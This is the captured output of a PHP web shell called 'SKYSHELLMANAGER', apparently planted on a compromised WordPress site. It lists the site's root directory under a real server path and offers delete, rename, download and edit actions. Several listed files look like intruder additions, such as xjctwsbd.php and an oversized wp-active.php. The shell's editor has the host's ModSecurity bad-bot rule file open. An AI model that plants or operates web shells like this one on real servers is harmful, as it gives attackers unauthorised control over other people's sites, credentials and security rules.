ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.34

Path:root/home/estate38/PPE.dlfoffice.com/

Name	Size	Perm	Actions
📁 wp-includes	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 well-known	-	0755	🗑️ 🏷️
📁 store	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 configWVM	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 404LSO	-	0755	🗑️ 🏷️
📁 .well-known	-	0755	🗑️ 🏷️
📄 wp-signup.php	34.69 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-settings.php	32.81 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php	3.52 KB	0600	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	3.98 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	2.87 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	8.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-trackback.php	5.71 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	8.96 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	7.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config-sample.php	3.7 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-comments-post.php	2.7 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	0.49 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-active.php	261.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 readme.html	7.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 post-new.php	0.13 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 license.txt	19.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	20.27 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess	0.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 xjctwsbd.php	18.64 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: 19_bad_bots.conf

# Holds rules to block malicious or otherwise un-wanted bots and to
# control bad behavior (e.g. Bingbot trying to log into WordPress)

# Deny Googlebot crawling temp mod_userdir URLs and falsely flagging
# the IMH/WHH corp site as hacked
SecRule REQUEST_HEADERS:User-Agent "Googlebot" \
    "chain,deny,log,auditlog,status:404,\
    msg:'Googlebot user agent crawling a temp url',id:13394"
SecRule REQUEST_HEADERS:Host "(webhostinghub|inmotionhosting|servconfig)\.com" "chain"
SecRule REQUEST_URI "^/~"

# Rule to prevent user agents identifying themselves as bingbot from POSTing
SecRule REQUEST_METHOD "^POST$" \
    "chain,deny,log,auditlog,status:406,\
    msg:'Bingbot user agent making POST requests',id:'13382',\
    tag:'WEB_ATTACK/BRUTE FORCE',severity:'4'"
SecRule REQUEST_HEADERS:User-Agent "bingbot/2\.0;[+]http://www\.bing\.com/bingbot\.htm" \
    "t:lowercase,t:removeWhitespace"

# Block user agents identifying themselves as "Mozilla/5.0" when they POST to
# PHP scripts in a particular path
SecRule REQUEST_METHOD "^POST$" \
    "chain,deny,log,auditlog,status:406,\
    msg:'Suspicious user agent making POST requests',id:'13383',\
    tag:'WEB_ATTACK/BRUTE FORCE',severity:'4'"
SecRule REQUEST_HEADERS:User-Agent "^Mozilla/5.0$" "t:removeWhitespace,chain"
SecRule REQUEST_URI "/images/.*\.php"

# Block BLEXbot user agent
SecRule HTTP_User-Agent "BLEXBot" "deny,log,auditlog,status:406,\
    msg:'Malicious user agent BLEXBot',id:'13072',\
    tag:'WEB_ATTACK/BRUTE FORCE',severity:'4'"

# Block GbPlugin user agent
SecRule REQUEST_HEADERS:User-Agent "GbPlugin" \
    "deny,log,auditlog,status:406,msg:'Malicious user agent GbPlugin',id:'13066',\
    tag:'WEB_ATTACK/BRUTE FORCE',severity:'4'"

# Block GSLFbot user agent
SecRule HTTP_User-Agent "GSLFbot" "deny,log,auditlog,status:406,\
    msg:'Malicious user agent GSLFbot',id:'13067',\
    tag:'WEB_ATTACK/BRUTE FORCE',severity:'4'"

# Block "Indy Library" UA
SecRule REQUEST_METHOD "GET|POST" "chain,deny,log,auditlog,status:406,\
    msg:'Indy Library agent making POST requests',id:'13401',\
    tag:'WEB_ATTACK/BRUTE FORCE',severity:'4'"
SecRule REQUEST_HEADERS:User-Agent "indylibrary" t:lowercase,t:removeWhitespace

#https://trac.imhtech.net/T3/ticket/5850 : Malicious robot, attacks Joomla 1.5 com_jce
SecRule HTTP_User-Agent \
    "BOT/0.1$BOTforJCE$"\
    "deny,log,auditlog,t:removeWhitespace,status:406,msg:'Malicious robot',id:'13729',\
    tag:'WEB_ATTACK/INJECTION',severity:'4'"

# https://jira.imhdev.com/browse/T3O-4239
SecRule HTTP_User-Agent "Mozilla/5\.0 $X11; Ubuntu; Linux x86_64; rv:62\.0$ Gecko/20100101 Firefox/62\.0" \
    "deny,log,auditlog,t:none,status:406,msg:'EOL Firefox',\
    msg:'T3O-4239',id:'13730',\
    tag:'WEB_ATTACK/BRUTE FORCE',severity:'4'"

# https://jira.imhdev.com/browse/T3O2-3624
SecRule HTTP_User-Agent "Mozilla/5\.0 $X11; Fedora; Linux x86_64; rv:94\.0$ Gecko/20100101 Firefox/95\.0" \
    "deny,log,auditlog,t:none,status:406,msg:'EOL Firefox',\
    msg:'https://jira.imhdev.com/browse/T3O2-3624',id:'13731',\
    tag:'WEB_ATTACK/BRUTE FORCE',severity:'4'"

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v7.4.34

Edit: 19_bad_bots.conf

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.34